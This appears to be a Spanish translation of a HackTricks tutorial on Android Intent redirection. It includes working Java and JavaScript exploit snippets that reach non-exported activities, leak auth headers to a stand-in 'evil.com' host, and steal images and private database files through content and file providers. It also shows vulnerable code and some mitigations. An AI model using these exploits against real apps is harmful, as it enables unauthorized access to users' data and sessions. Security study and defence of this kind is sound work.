17 KiB
Introducción
Esta vulnerabilidad se asemeja a la Redirección Abierta en seguridad web. Dado que la clase Intent
es Parcelable
, los objetos que pertenecen a esta clase pueden ser pasados como datos extra en otro objeto Intent
.
Muchos desarrolladores hacen uso de esta característica y crean componentes proxy (actividades, receptores de difusión y servicios) que toman un Intent incrustado y lo pasan a métodos peligrosos como startActivity(...)
, sendBroadcast(...)
, etc.
Esto es peligroso porque un atacante puede forzar a la aplicación a lanzar un componente no exportado que no puede ser lanzado directamente desde otra aplicación, o para otorgar al atacante acceso a sus proveedores de contenido. WebView
también a veces cambia una URL de una cadena a un objeto Intent
, usando el método Intent.parseUri(...)
y lo pasa a startActivity(...)
.
{% hint style="info" %} En resumen: si un atacante puede enviar un Intent que se está ejecutando de manera insegura, potencialmente puede acceder a componentes no exportados y abusar de ellos. {% endhint %}
Un caso típico
Examinemos un ejemplo. Fragmento del archivo AndroidManifest.xml
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />
Actividad ProxyActivity
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
Actividad AuthWebViewActivity
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
AuthWebViewActivity
es un ejemplo de funcionalidad oculta de la aplicación que realiza ciertas acciones inseguras, en este caso pasando la sesión de autenticación del usuario a una URL obtenida del parámetro url
.
Las restricciones de exportación significan que el atacante no puede acceder directamente a AuthWebViewActivity
. Una llamada directa...
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);
lanza una java.lang.SecurityException
, debido a la Negación de Permiso
: AuthWebViewActivity no exportado desde el uid 1337
.
Pero el atacante puede forzar al usuario a lanzar AuthWebViewActivity
por sí mismo:
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
y no surgirá ninguna violación de seguridad, porque la aplicación que está siendo atacada tiene acceso a todos sus propios componentes. Usando este fragmento de código, el atacante puede evitar las restricciones incorporadas del sistema Android.
Escalación del impacto
Para aumentar el impacto de esta vulnerabilidad, es necesario encontrar otras vulnerabilidades/configuraciones incorrectas que permitan aumentar el impacto de la vulnerabilidad (ya que la vulnerabilidad por sí sola no crea ningún riesgo).
Escalación de ataques a través de proveedores de contenido
Además del acceso a componentes arbitrarios de la aplicación original, el atacante puede intentar obtener acceso a aquellos Proveedores de Contenido de la aplicación vulnerable que satisfagan las siguientes condiciones:
- debe estar no exportado (de lo contrario, podría ser atacado directamente, sin usar la vulnerabilidad que estamos discutiendo en este artículo)
- debe tener el indicador
android:grantUriPermissions
establecido entrue
.android:grantUriPermissions="true"
indica que su código Java puede usarFLAG_GRANT_READ_URI_PERMISSION
yFLAG_GRANT_WRITE_URI_PERMISSION
para cualquierUri
servido por eseContentProvider
.android:grantUriPermissions="false"
indica que solo los valoresUri
especificados por los elementos secundarios<grant-uri-permission>
pueden ser utilizados conFLAG_GRANT_READ_URI_PERMISSION
yFLAG_GRANT_WRITE_URI_PERMISSION
.
El atacante debe establecerse como el destinatario de un intento incrustado y establecer las siguientes indicaciones:
Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
permite el acceso persistente al proveedor (sin esta indicación, el acceso es solo una vez)Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
permite el acceso URI por prefijo - por ejemplo, en lugar de obtener acceso separado repetidamente utilizando una ruta completa comocontent://com.victim.provider/image/1
, el atacante puede otorgar acceso a todo el contenido del proveedor utilizando el URIcontent://com.victim.provider/
y luego usarContentResolver
para abordarcontent://com.victim.provider/image/1
,content://com.victim.provider/image/2
, etc.Intent.FLAG_GRANT_READ_URI_PERMISSION
permite operaciones de lectura en el proveedor (comoquery
,openFile
,openAssetFile
)Intent.FLAG_GRANT_WRITE_URI_PERMISSION
permite operaciones de escritura
Un ejemplo de un proveedor típico donde un atacante puede obtener acceso y realizar operaciones regulares como query
, update
, insert
, delete
, openFile
, openAssetFile
.
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
Ejemplo de robo de imágenes de usuario en el archivo AndroidManifest.xml
Un atacante puede robar imágenes de usuario si la aplicación tiene permisos para acceder a la galería de imágenes del dispositivo. Para verificar si la aplicación tiene este permiso, podemos buscar en el archivo AndroidManifest.xml
de la aplicación.
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
Si encontramos esta línea en el archivo AndroidManifest.xml
, significa que la aplicación tiene permiso para leer imágenes de la galería del dispositivo. El atacante puede aprovechar este permiso para robar imágenes de usuario sin su conocimiento.
Para evitar este tipo de ataque, los desarrolladores deben asegurarse de que su aplicación solo solicite los permisos necesarios y que los usuarios estén informados sobre los permisos que se solicitan.
<activity android:name=".LeakActivity" android:exported="true" />
Archivo MainActivity.java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
LeakActivity.java
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
Ataques al proveedor de archivos de Android
Esta vulnerabilidad también hace posible que el atacante robe archivos de aplicaciones ubicados en directorios que el desarrollador predeterminó. Para un ataque exitoso, la aplicación maliciosa necesita obtener derechos de acceso al proveedor de archivos de Android y luego leer el contenido del proveedor de archivos usando Android ContentResolver.
Proveedor de archivos de ejemplo (para más detalles, consulte https://developer.android.com/reference/android/support/v4/content/FileProvider)
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>
Proporciona acceso de lectura/escritura a archivos en una lista especial que se puede encontrar en los recursos de la aplicación, en este caso en res/xml/provider_paths.xml
.
Puede parecer algo así:
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>
Cada etiqueta especifica un directorio raíz con un valor path
relativo al mismo. Por ejemplo, el valor external_files
corresponderá a new File(Environment.getExternalStorageDirectory(), "images")
.
El valor root-path
corresponde a /
, es decir, proporciona acceso a archivos arbitrarios.
Supongamos que tenemos algunos datos secretos almacenados en el archivo /data/data/com.victim/databases/secret.db
: el robo de este archivo puede parecer algo así como esto en MainActivity.java
.
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
LeakActivity.java
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
Acceso a componentes arbitrarios a través de WebView
Un objeto Intent puede ser convertido a una cadena con una llamada a Intent.toUri(flags)
y de vuelta de una cadena a un Intent usando Intent.parseUri(stringUri, flags)
. Esta funcionalidad es a menudo utilizada en WebView (el navegador integrado de la aplicación): la aplicación puede verificar un esquema intent://
, analizar la URL en un Intent y lanzar la actividad.
Esta vulnerabilidad puede ser explotada tanto a través de otras vulnerabilidades (por ejemplo, la capacidad de abrir enlaces arbitrarios en la aplicación en WebView directamente a través de actividades exportadas o mediante el mecanismo deeplink) en la aplicación cliente y también de forma remota, incluyendo scripting entre sitios en el lado del servidor o MitM en el lado del cliente.
Ejemplo de código vulnerable
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
El punto aquí es que el método shouldOverrideUrlLoading(...)
de la clase WebViewClient
es llamado cada vez que WebView intenta cargar un nuevo enlace, pero da la opción a la aplicación de agregar un manejador personalizado.
Para explotar esta vulnerabilidad, el atacante necesita crear una redirección de WebView a una URL de esquema de intentos especialmente preparada. Ejemplo de creación de URL:
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
Ataque de ejemplo
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
Esta versión contiene varias restricciones en comparación con la versión clásica de la vulnerabilidad:
- Los objetos
Parcelable
ySerializable
incrustados no se pueden convertir a cadena (se ignorarán) - Las banderas inseguras
Intent.FLAG_GRANT_READ_URI_PERMISSION
eIntent.FLAG_GRANT_WRITE_URI_PERMISSION
son ignoradas cuando se llama aIntent.parseUri(...)
. El analizador solo las dejará si se establece la banderaIntent.URI_ALLOW_UNSAFE
(startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))
), lo cual es muy raro.
Muchos desarrolladores todavía olvidan realizar un filtrado completo de los intents recibidos a través de WebView.
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
El atacante puede especificar un componente no exportado a través de un selector.
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
Y evitar la protección de la aplicación contra intents explícitos. Por lo tanto, recomendamos filtrar también el selector.
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
Pero incluso un filtrado completo no garantiza una protección completa, ya que un atacante puede crear un intento implícito correspondiente al intent-filter
de alguna actividad no exportada. Ejemplo de declaración de actividad:
<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
Por lo tanto, recomendamos verificar que una actividad esté exportada antes de que se lance.
Otras formas de crear intents inseguros
Algunos desarrolladores de aplicaciones implementan sus propios analizadores de intents (a menudo para manejar deeplinks o mensajes push), utilizando objetos JSON, cadenas o matrices de bytes, que no difieren del valor predeterminado o presentan un gran peligro, porque pueden expandir objetos Serializable
y Parcelable
y también permiten establecer banderas inseguras. El investigador de seguridad también puede encontrar versiones más exóticas de creación de intents, como la conversión de una matriz de bytes a un Parcel
y luego leer un intent desde él.
Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
}
Aplicación vulnerable
{% embed url="https://github.com/oversecured/ovaa" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.